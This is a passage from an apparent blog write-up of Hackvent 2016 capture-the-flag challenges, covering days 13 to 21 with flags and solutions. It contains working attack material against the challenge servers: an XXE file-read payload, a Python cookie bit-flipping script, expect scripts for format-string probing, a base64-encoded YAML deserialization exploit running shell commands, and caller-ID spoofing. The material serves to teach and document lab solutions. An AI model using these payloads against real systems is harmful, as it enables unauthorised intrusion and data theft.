xml message to the admin\nYour name: billy\nYour amount of jcoinz: 2147483647\n[?] Action: 2\n[-] Decreased the account of \"billy\" by 1337\n[?] XML Message: &lt;?xml version=\"1.0\" encoding=\"ISO-8859-1\"?&gt;&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY &gt;&lt;!ENTITY xxe SYSTEM \"file:\/\/\/home\/jcoinz\/9f40461baba9bf00ba9174beeeb9b8a80c0ffba6\" &gt;]&gt;&lt;foo&gt;&amp;xxe;&lt;\/foo&gt;\n[+] Your secret xml message: &lt;foo&gt;\nYou did it!\nGreets, MuffinX\nHV16-y4h0-g00t-d33m-c01n-zzzz\nIf you liked this challenge, tweet me: https:\/\/twitter.com\/muffiniks\n&lt;\/foo&gt;\n1 - sends jcoinz to charity\n2 - send a secret xml message to the admin\nYour name: billy\nYour amount of jcoinz: 2147482308\n[?] Action:\n<\/pre>\n<p><strong>HV16-y4h0-g00t-d33m-c01n-zzzz<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 14 &#8211; Radio War Game:<\/h1>\n<p><em>The quieter you become, the more you are able to hear<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nA UK football fan transmits chants and hopes the gods of football pick it up and consider his favorite, Manchester, to win the cup.<br \/>\nSanta, while using his ham radio station to receive wish-lists from earth, picked it up and saved a copy for his data lake. Can you help Santa to make sense of the signals?<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/xmas_1Msps.zip\" target=\"_blank\" rel=\"noopener\">Get the signals<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nI opened the file in Audacity (File\/Import\/Raw Data) which showed a really suspicious pattern. Looks like a binary code.<br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-531 size-large\" src=\"http:\/\/www.sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38-1024x588.png\" width=\"584\" height=\"335\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38-1024x588.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38-300x172.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38-768x441.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-07-at-14.47.38.png 1439w\" sizes=\"auto, (max-width: 584px) 100vw, 584px\" \/><\/a><br \/>\nBecause of the description I assumed\u00a0the message was encoded by Manchester-Encoding. I researched how this works exactly and it was not too hard to understand. But I had no idea how I would implement this in a script&#8230;<br \/>\nAs the binary string didn&#8217;t look too long I did manual work and wrote down the pattern to a text file:<br \/>\n01001000 01010110 00110001 00110110 00101101 00110001 00110011 00110011 00110111 00101101 01010010 01100001 01100100 01101001 00101101 01101111 01010111 01100001 01110010 00101101 01100111 01100001 01101101 01100101 00101101 00110001 00110011 00110011 00110111 00001010<br \/>\nConverting the binary string to ASCII text resulted in the nugget:<br \/>\n<strong>HV16-1337-Radi-oWar-game-1337<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 15 &#8211; SAP &#8211; Santas Admin Panel:<\/h1>\n<p><em>you better know how to flip around<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nYou got access to Santa\u2019s hompage. But without admin rights there\u2019s nothing to see here\u2026<br \/>\nA valid login is: <strong>raindeer10 \/ s4nt4<\/strong><br \/>\n<a href=\"http:\/\/challenges.hackvent.hacking-lab.com\/4dm1nP4n3l\/index.php\" target=\"_blank\" rel=\"noopener\">Admin Panel<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nIn the description there is the hint to &#8220;flip around&#8221;. This must be a bit flipping attack!<br \/>\nIf we analyse the website and look what is being transferred, we find the cookie &#8220;cmlnaHRz&#8221; which translates to &#8220;rights&#8221; if\u00a0we decode it with base64. This must be our target. I wrote a script to perform the bit-flipping attack and grep the result from the page to see if we were successful. The bit-flipping attack is performed by switching bits which are next to each other, if we&#8217;re not successful try the next ones&#8230; Read\u00a0the script for more details:<\/p>\n<pre class=\"wrap:true lang:python decode:true\">#!\/usr\/bin\/env python2\nimport cookielib\nimport urllib\nimport urllib2\nimport base64\nUSERNAME = \"raindeer10\"\nPASSWORD = \"s4nt4\"\nURL=\"http:\/\/challenges.hackvent.hacking-lab.com\/4dm1nP4n3l\/index.php\"\nURL_ADMIN=\"http:\/\/challenges.hackvent.hacking-lab.com\/4dm1nP4n3l\/admin.php\"\nCOOKIE_NAME=\"cmlnaHRz\"\nCOOKIE_VALUE=\"5WT4yVGAfS%2Fn0z5MzSbbZd0K3vpWLmhfxuFo85apE%2Bo%3D\"\nlogin_data = urllib.urlencode({'username' : USERNAME, 'password' : PASSWORD})\ncookies = cookielib.LWPCookieJar()\nhandlers = [\n    urllib2.HTTPHandler(debuglevel=0),\n    urllib2.HTTPSHandler(),\n    urllib2.HTTPCookieProcessor(cookies)\n    ]\nopener = urllib2.build_opener(*handlers)\ndef fetch(url, phpsession, cookie):\n    req = urllib2.Request(url)\n    if phpsession:\n        # Set cookies\n        cookies.clear()\n        ck = cookielib.Cookie(version=0, name='PHPSESSID', value=phpsession, port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com'\n            , domain_specified=False, domain_initial_dot=False, path='\/', path_specified=True, secure=False, expires=None\n            , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)\n        cookies.set_cookie(ck)\n        ck2 = cookielib.Cookie(version=0, name=COOKIE_NAME, value=urllib.quote(cookie, 'utf8'), port=None, port_specified=False, domain='challenges.hackvent.hacking-lab.com'\n            , domain_specified=False, domain_initial_dot=False, path='\/', path_specified=True, secure=False, expires=None\n            , discard=True, comment=None, comment_url=None, rest={'HttpOnly': None}, rfc2109=False)\n        cookies.set_cookie(ck2)\n        #opener.addheaders.append(('Cookie', \"PHPSESSID\" + \"=\" + phpsession + \";\" + urllib.quote(COOKIE_NAME, 'utf8') + \"=\" + urllib.quote(cookie, 'utf8')))\n    return opener.open(req, login_data)\ndef dump_page(resp):\n    return(resp.read())\ndef dump_cookies():\n    data = dict((cookie.name, cookie.value) for cookie in cookies)\n    for cookie in cookies:\n        print(urllib.unquote(cookie.name).decode('utf8'))\n        print(urllib.unquote(cookie.value).decode('utf8'))\n    return data['PHPSESSID']\ndef tobits(s):\n    result = []\n    for c in s:\n        bits = bin(ord(c))[2:]\n        bits = '00000000'[len(bits):] + bits\n        result.extend([int(b) for b in bits])\n    return result\ndef frombits(bits):\n    chars = []\n    for b in range(len(bits) \/ 8):\n        byte = bits[b*8:(b+1)*8]\n        chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))\n    return ''.join(chars)\nres = fetch(URL, None, None)\nphpsessionid_cookie = dump_cookies()\nc_name = urllib.unquote(COOKIE_NAME).decode('utf8')\nc_value = urllib.unquote(COOKIE_VALUE).decode('utf8')\nbitz = tobits(c_value)\n#print len(bitz)\ni = len(bitz)-1\nwhile(i&gt;=0):\n    # Save for easier restoring\n    bitz_copy = list(bitz)\n    #Flip bits\n    tmp = int(bitz[i-1])\n    bitz[i-1] = int(bitz[i])\n    bitz[i] = int(tmp)\n    print(\"\".join(str(x) for x in bitz))\n    flipped_cookie = str(frombits(bitz))\n    print(\"[+] Try: \" + flipped_cookie + \" ...\")\n    res = fetch(URL_ADMIN, phpsessionid_cookie, flipped_cookie)\n    page = dump_page(res)\n    #print page\n    if \"User Role: Standard\" not in page and \"User Role: None\" not in page:\n        print(\"FOUND!!!\")\n        print(page)\n        break\n    bitz = bitz_copy\n    i-=1<\/pre>\n<p>After successfully performing the bitflipping attack the page reveals a link to a png file containing a QR code:<br \/>\n<strong>HV16-R41n-d33r-8yt3-Fl1p-H4ck<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 16 &#8211; Marshmallows:<\/h1>\n<p><em>type: \u201cnomnomnom marhshmallow nomnomnom muffin%x was here\u201d<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nThere\u2019s this guy Randy, he loves marshmallows and programming in python and C.<br \/>\nProve him by hacking his server, that it\u2019s not a good idea to code if you had too many marshmallows.<br \/>\n<em><strong>nc challenges.hackvent.hacking-lab.com 1033<\/strong><\/em><br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/marshmallows.py\" target=\"_blank\" rel=\"noopener\">marshmallows.py<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nIt&#8217;s obvious that the first stage is a format string vulnerability. With &#8220;%1$s&#8221; we can direct access a memory location, the next would be &#8220;%2$s&#8221; and so on&#8230; We need to find the random generated token to get further. It&#8217;s a bit hard to exploit, because when reading an uninitialised memory address the program crashes and we have to reconnect. And because it&#8217;s an interactive program, we also cannot just write a simple bash script which sends the commands directly as arguments.<br \/>\nI used &#8220;expect&#8221; to automate the format string exploitation, for every memory access we reconnect to the server so we don&#8217;t have the problem if the program crashes and closes the connection:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/usr\/bin\/expect -f\n# Search for token\nset times 0;\nwhile { $times &lt; 300 } {\n   # Connect to Server\n   spawn nc challenges.hackvent.hacking-lab.com 1033\n   set nc_id $spawn_id\n   expect -i $nc_id \"&gt;\"\n   send -i $nc_id \"1\\r\"\n   expect -i $nc_id \"Please give me some marshmallows:\"\n   send -i $nc_id \"%$times\\$s\\r\"\n   expect -i $nc_id \"&gt;\"\n   set times [ expr $times+1];\n   catch {close -i $nc_id}\n   wait\n}<\/pre>\n<p>This way I found out the memory location of the random id is at &#8220;%294$s&#8221;.<br \/>\nThe second stage is a YAML Exploit.<br \/>\n<a href=\"https:\/\/www.kevinlondon.com\/2015\/08\/15\/dangerous-python-functions-pt2.html\">https:\/\/www.kevinlondon.com\/2015\/08\/15\/dangerous-python-functions-pt2.html<\/a><br \/>\nuser_input: !!python\/object\/apply:subprocess.check_output [[ &#8220;ls&#8221;, &#8220;-la&#8221;, &#8220;\/home\/marshmallows&#8221;]]<br \/>\nSpecial here is, with the subprocess.check_output we don&#8217;t\u00a0get a response, so I used the subprocess call instead:<br \/>\nuser_input: !!python\/object\/apply:subprocess.call [[ &#8220;ls&#8221;, &#8220;-la&#8221;, &#8220;\/home\/marshmallows&#8221;]]<br \/>\nWith the ls -l command I found the filename for the token and with the second command\u00a0I could actually read it:<br \/>\nuser_input: !!python\/object\/apply:subprocess.call [[ &#8220;cat&#8221;, &#8220;\/home\/marshmallows\/5ae64891a82f2290f157e8fa419c2d3d&#8221;]]<br \/>\nThe YAML requests have\u00a0to be base64 encoded, I posted them unencoded for better readability.<br \/>\n<strong>HV16-m4rs-hm4l-l0wh-4x0r-sr0x<\/strong><br \/>\nI wrote an auto-pwn script, which does all the steps automatically:<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/usr\/bin\/expect -f\n# Debug\nexp_internal 0\n# Connect to Server\nspawn nc challenges.hackvent.hacking-lab.com 1033\nset nc_id $spawn_id\n# Read out the token (Found with bruteforcing, see while loop below)\nexpect -i $nc_id \"&gt;\"\nsend -i $nc_id \"1\\r\"\nexpect -i $nc_id \"Please give me some marshmallows:\"\nsend -i $nc_id \"%294\\$s\\r\"\n# Read out token\n#expect -i $nc_id -re MARSHMALLOW_TOKEN=\\[a-zA-Z0-9-\\]{36}\\r\nexpect -i $nc_id -re (\\[a-zA-Z0-9-\\]{36})\nset token \"$expect_out(0,string)\"\n# Send the token\nexpect -i $nc_id \"&gt;\"\nsend -i $nc_id \"send_secret_marshmallows\\r\"\nexpect -i $nc_id \"Token:\"\nsend -i $nc_id \"$token\\r\"\nexpect -i $nc_id \"Your secret marshmallows:\"\n##################\n# YAML Exploit\n# https:\/\/www.kevinlondon.com\/2015\/08\/15\/dangerous-python-functions-pt2.html\n# !!! check_output doesnt work, use \"call\"\n#user_input: !!python\/object\/apply:subprocess.call [[ \"ls\", \"-la\", \"\/home\/marshmallows\"]]\n#---&gt; dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ==\nsend -i $nc_id \"dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAibHMiLCAiLWxhIiwgIi9ob21lL21hcnNobWFsbG93cyJdXQ==\\r\"\n##################\n#\n# Repeat with different payload to read out the actual file\n#\nexpect -i $nc_id \"&gt;\"\nsend -i $nc_id \"send_secret_marshmallows\\r\"\nexpect -i $nc_id \"Token:\"\nsend -i $nc_id \"$token\\r\"\nexpect -i $nc_id \"Your secret marshmallows:\"\n#user_input: !!python\/object\/apply:subprocess.call [[ \"cat\", \"\/home\/marshmallows\/5ae64891a82f2290f157e8fa419c2d3d\"]]\n#---&gt; dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ==\nsend -i $nc_id \"dXNlcl9pbnB1dDogISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuY2FsbCBbWyAiY2F0IiwgIi9ob21lL21hcnNobWFsbG93cy81YWU2NDg5MWE4MmYyMjkwZjE1N2U4ZmE0MTljMmQzZCJdXQ==\\r\"\nexpect -i $nc_id \"&gt;\"\ncatch {close -i $nc_id}\nwait\n<\/pre>\n<h1><\/h1>\n<hr \/>\n<h1>Day<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a> 17 &#8211; I want to play a Game:<\/h1>\n<p><em>Part 2<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nso, you enjoyed the first part? that was soooo 90ties \u2013 here is something more modern for you to play.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/ReGame_2nd_Part_modern.velf\" target=\"_blank\" rel=\"noopener\">Gimme, gimme, GIMME!<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nAnother reverse engineering challenge.<br \/>\nWhile going through the assembly instructions I found out there is a CRC32 calculation of all the &#8220;fake_partx&#8221; strings, which are 5. After\u00a0the calculations are done there are comparisons with CRC32 checksums and later on we can see there is a printf for HV16-part1-part2-part3-part4-part5. Therefore I came to the conclusion these checksums are the checksums of all the 5 parts we need for\u00a0our nugget! The 5 checksums are 0xC82065C2, 0x94B12C65, 0x7A6CCECE, 0x9493866C and 0x0FAC9FA1.<br \/>\nAs I learned in the Trivial Crypto Challenge (Day 07) 4 Byte CRC32 checksums are reversible:<br \/>\n<a href=\"http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html\">http:\/\/www.danielvik.com\/2010\/10\/calculating-reverse-crc.html<\/a><br \/>\nI used the reverseCRC tool and modified it so it would calculate the\u00a0values we need. The main method in the ReverseCRC.cpp was adapted like this:<\/p>\n<pre class=\"lang:c++ decode:true\">int main(void)\n{\n    testOne(0x0, 0xC82065C2);\n    testOne(0x0, 0x94B12C65);\n    testOne(0x0, 0x7A6CCECE);\n    testOne(0x0, 0x9493866C);\n    testOne(0x0, 0x0FAC9FA1);\n    return 0;\n}\n<\/pre>\n<p>Which results in this:<\/p>\n<pre class=\"lang:sh decode:true\">$ .\/revcrc\ninitial: 0x00000000 OK   -  bytes to add: { 0x38, 0x58, 0x39, 0x7a }\ninitial: 0x00000000 OK   -  bytes to add: { 0x79, 0x6a, 0x4b, 0x57 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x39, 0x4d, 0x42, 0x54 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x31, 0x65, 0x61, 0x36 }\ninitial: 0x00000000 OK   -  bytes to add: { 0x56, 0x59, 0x39, 0x6a }<\/pre>\n<p>And if we convert the bytes to ASCII we get our nugget:<br \/>\n<strong>HV16-8X9z-yjKW-9MBT-1ea6-VY9j<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-523 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 18 &#8211; Calling Santa:<\/h1>\n<p><em>restricted to 1337s<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nAttention: this is not a toll-free number!<br \/>\nThis challenge can be expensive, depending on your living country. Consider international dialing costs!<\/p>\n<div>Santa has a voice mail box on +41 445 05 1337. But his voice mail box has caller ID protection activated.<br \/>\nIf you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.<\/div>\n<p><strong>Solution:<\/strong><br \/>\n1. Used a spoof service<br \/>\nhttps:\/\/www.spoofcard.com\/<br \/>\n2. After trying around I found the right combination:\u00a0<strong>1-13-133-1337<\/strong><br \/>\nNugget:<br \/>\n<strong>HV16-PKPK-UKUK-AKAK-CKCK-FUCK<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 19 &#8211; Zebra Code:<\/h1>\n<p><em>Get it straight<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nGet the key and the encrypted message.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/zebra.png\" target=\"_blank\" rel=\"noopener\">Key<\/a> and <a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/msg.svg\" target=\"_blank\" rel=\"noopener\">message<\/a> links<br \/>\n<strong>Solution:<\/strong><br \/>\n1. Map the vectors to the image<br \/>\n2. Go trough the lines and record every pixel if black\/white<br \/>\n3. Finally generate barcode from the result<br \/>\nSolved this with the Bresenham&#8217;s line algorithm:<br \/>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Bresenham's_line_algorithm\">https:\/\/en.wikipedia.org\/wiki\/Bresenham&#8217;s_line_algorithm<\/a><\/p>\n<pre class=\"wrap:true lang:python decode:true\">#!\/usr\/bin\/python\nimport cv2\nimport numpy as np\ncoords = [804, 409, 746, 430, 772, 395, 742, 379, 776, 340, 707, 346, 712, 383, 808, 325, 747, 291, 688, 331, 635, 406, 587, 325, 622, 312, 651, 279, 622, 307, 638, 347, 626, 412, 633, 454, 668, 418, 651, 381, 622, 412, 615, 313, 590, 402, 550, 352, 567, 370, 584, 344, 609, 275, 620, 323, 641, 282, 676, 302, 654, 323, 659, 363, 669, 400, 698, 359, 730, 359, 762, 340, 806, 360, 736, 390, 777, 388, 770, 419, 791, 412, 793, 387, 752, 402, 782, 362, 771, 321, 756, 344, 720, 317, 751, 310, 738, 262, 701, 242, 669, 296, 675, 337, 656, 376, 627, 399, 633, 347, 611, 323, 650, 283, 672, 262, 645, 293, 641, 322, 610, 352, 607, 375, 617, 410, 661, 353, 640, 328, 689, 275, 691, 319, 732, 315, 759, 352, 794, 319, 763, 368, 819, 355, 814, 305, 777, 284, 753, 352, 693, 368, 748, 304, 710, 281, 693, 317, 619, 310, 647, 340, 696, 321, 730, 276, 775, 268, 732, 311, 809, 318, 761, 373, 732, 349, 749, 316, 812, 323, 742, 302, 707, 326, 689, 258, 660, 308, 662, 361, 625, 429, 605, 391, 606, 340, 648, 281, 666, 309, 651, 330, 736, 277, 735, 312, 759, 339, 783, 264, 721, 271, 666, 323, 649, 328, 650, 274, 619, 278, 615, 318, 607, 398, 622, 438, 625, 391, 655, 409, 654, 326, 692, 329, 705, 290, 675, 305, 718, 239, 780, 300, 719, 316, 755, 292, 801, 334, 770, 336, 787, 360, 735, 365, 731, 393, 815, 380, 766, 368, 731, 353, 760, 341, 714, 328, 740, 308, 694, 306, 652, 330, 685, 274, 633, 296, 619, 320, 631, 357, 657, 323, 766, 305, 700, 250, 636, 343, 651, 392, 701, 367, 711, 287, 680, 356, 682, 288, 756, 278, 740, 241, 705, 284, 632, 286, 618, 311, 673, 311, 614, 335, 603, 455, 627, 409, 648, 439, 672, 392, 696, 368, 715, 384, 745, 352, 741, 301, 788, 298, 722, 281, 781, 343, 715, 338, 708, 280, 798, 295, 752, 274, 798, 285, 729, 322, 755, 363, 774, 295, 793, 332, 763, 341, 728, 420, 778, 420, 810, 406, 766, 389, 805, 382, 743, 413, 757, 372, 784, 331, 728, 366, 713, 328, 744, 310, 706, 288, 679, 346, 629, 365, 611, 325, 651, 333, 696, 265, 715, 291, 709, 339, 744, 277, 802, 293, 747, 307, 786, 324, 799, 366, 768, 327, 721, 380, 771, 288, 819, 319, 783, 326, 744, 310, 797, 362, 738, 340, 730, 393, 775, 366, 710, 340, 779, 291, 805, 342, 715, 266, 712, 352, 648, 420, 624, 363, 644, 276, 598, 319, 633, 312, 585, 359, 565, 306, 571, 346, 591, 410, 584, 327, 624, 319, 656, 303, 691, 330, 656, 372, 690, 318, 734, 313, 719, 269, 687, 270, 669, 299, 762, 274, 780, 299, 703, 304, 711, 342, 819, 329, 768, 287, 718, 335, 757, 343, 735, 262, 697, 249, 632, 351, 601, 354, 665, 243, 687, 241, 664, 300, 729, 260, 694, 321, 749, 298, 808, 290, 785, 326, 710, 276, 677, 294, 648, 333]\ndef bresenham(x0, y0, x1, y1):\n    \"\"\"Yield integer coordinates on the line from (x0, y0) to (x1, y1).\n    Input coordinates should be integers.\n    The result will contain both the start and the end point.\n    \"\"\"\n    dx = x1 - x0\n    dy = y1 - y0\n    xsign = 1 if dx &gt; 0 else -1\n    ysign = 1 if dy &gt; 0 else -1\n    dx = abs(dx)\n    dy = abs(dy)\n    if dx &gt; dy:\n        xx, xy, yx, yy = xsign, 0, 0, ysign\n    else:\n        dx, dy = dy, dx\n        xx, xy, yx, yy = 0, ysign, xsign, 0\n    D = 2*dy - dx\n    y = 0\n    for x in range(dx + 1):\n        yield x0 + x*xx + y*yx, y0 + x*xy + y*yy\n        if D &gt; 0:\n            y += 1\n            D -= dx\n        D += dy\nxy = []\nbinstr = []\nimg = cv2.imread('zebra4.png', cv2.IMREAD_GRAYSCALE)\nfor i in range(0, len(coords)-3, 2):\n    x1, y1 = coords[i:i+2]\n    x2, y2 = coords[i+2:i+4]\n    for x, y in list(bresenham(x1, y1, x2, y2)):\n        binstr.append(str(int(img[y, x] &gt; 128)))\nbarcode = np.zeros((1000, len(binstr)))\nfor i, v in enumerate(binstr):\n    barcode[:, i:i+1] = v\nbarcode = cv2.resize(barcode, (960, 540))\ncv2.imshow('yo', barcode)\ncv2.waitKey(0)<\/pre>\n<p><strong>@Thanks to orgalorg for the help!<\/strong><br \/>\n<a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-21.34.45.png\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-527 size-full\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-21.34.45.png\" width=\"958\" height=\"187\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-21.34.45.png 958w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-21.34.45-300x59.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/Screen-Shot-2017-01-06-at-21.34.45-768x150.png 768w\" sizes=\"auto, (max-width: 958px) 100vw, 958px\" \/><\/a>Scanning the generated barcode gave us the nugget:<br \/>\n<strong>HV16-kW2j-jE4w-ykh6-aF7j-0rcQ<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 20 &#8211; MitT:<\/h1>\n<p><em>Men in the Thing<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nYou bought a very cool retro weather station.<\/p>\n<ul>\n<li>It shows an ascii fire place (small or large fire according to the weather situation)<\/li>\n<li>It connects to the internet (using WLAN) to fetch the actual weather and the weather forecast for your place (configurable)<\/li>\n<li>It has a standby mode. The display is switched off if you are not around (detecting the MAC-Address of your mobile phone)<\/li>\n<li>Many more cool features<\/li>\n<\/ul>\n<p>But there is an undocumented feature: It will collect data of your local wlan, your settings to the weather station and knows, if someone is around. The weather station will leak this collected data. It also has a backdoor.<br \/>\nTasks:<\/p>\n<ul>\n<li>Download the virtualized retro weather station.<\/li>\n<li>Run it and find the poorly crafted port-knocking mechanism<\/li>\n<li>Follow the instructions<\/li>\n<li>Instead of leaking data or the opening of a reverse shell, the flag will be leaked<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/core.vdi\" target=\"_blank\" rel=\"noopener\">Load weather stations<\/a><br \/>\nI actually solved this challenge twice. \ud83d\ude42<\/p>\n<h2>Solution 1:<\/h2>\n<p>&#8211; I dumped the knocker binary from the running vm with &#8220;nc&#8221;<br \/>\n&#8211; I reverse engineered it with Hopper and found this code:<br \/>\nfor (i=0;i&lt;30;i++): x_$i = i+ 0x804a078 |* i+0x804058<br \/>\n&#8211; I copied the 30 values from the hexdump of both addresses into two files<br \/>\n&#8211; Then I wrote a script to OR all the lines<\/p>\n<pre class=\"wrap:true lang:sh decode:true\">#!\/bin\/bash\nchr() {\n  [ \"$1\" -lt 256 ] || return 1\n  printf \"\\\\$(printf '%03o' \"$1\")\"\n}\ni=1\ncode=\"\"\nwhile [ \"$i\" -lt \"31\" ];do\n  first=`head -\"$i\" addresses_1.txt | tail -1 | awk '{print $3}'`\n  second=`head -\"$i\" addresses_2.txt | tail -1 | awk '{print $3}'`\n  #echo $((first | second))\n  code=$code`chr $((first | second))`\n  i=$((i+1))\ndone\necho $code<\/pre>\n<p><strong>HV16-aBB9-Gis5-RMu2-parP-ckoj<\/strong><\/p>\n<h2>Solution 2:<\/h2>\n<p>&#8211; I made the VM accessible from my host<br \/>\n&#8211; Implemented port knocking in python<\/p>\n<pre class=\"wrap:true lang:python decode:true \">#!\/usr\/bin\/python\nimport time\nimport socket\nimport sys\ndef connect(prt):\n    s = socket.socket()\n    s.settimeout(1)\n    s.connect((host, int(prt)))\n    response = s.recv(1024).decode('utf8').strip(\"\\n\").strip(\"\\r\")\n    s.close()\n    print(\"[+] \" + response)\n    return [response.split()[1], response.split()[3]]\ndef sleep(secs):\n    sleep(secs)\nhost = sys.argv[1]\nport = sys.argv[2]\nres = connect(port)\nport = res[0]\nt = res[1]\nwhile True:\n    print(\"... Sleep \" + t + \"s and connect to port '\" + port + \"' ...\\n\")\n    try:\n        val = int(t)\n        val = int(port)\n    except ValueError:\n        print(\"Error or finished\")\n        break;\n    time.sleep(int(t))\n    res = connect(int(port))\n    port = res[0]\n    t = res[1]<\/pre>\n<p><strong>HV16-aBB9-Gis5-RMu2-parP-ckoj<\/strong><\/p>\n<hr \/>\n<h1><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-524 alignleft\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2017\/01\/final_64.png\" alt=\"\" width=\"64\" height=\"64\" \/><\/a>Day 21 &#8211; Debug me:<\/h1>\n<p><em>if you can<\/em><\/p>\n<p><strong>Description:<\/strong><br \/>\nSanta tried to hide todays Flag with some special Tricks &#8211; but probably special tools will help you to recover it.<br \/>\n<a href=\"https:\/\/www.sigterm.ch\/stuff\/hackvent16\/HV16_DebugM3.exe\" target=\"_blank\" rel=\"noopener\">ok, will try it!<\/a><br \/>\n<strong>Solution:<\/strong><br \/>\nThis was a hard one, took me quite some time to solve it!<br \/>\nThe first step was to be able to run the executable in a debugger without the anti-debugging mechanism kicking in. After some research I found out, that CheatEngine would run it without the process being killed. Now we can debug the program!<br \/>\nWith reversing and debugging the file I found out first of all the program checks if the string entered starts with 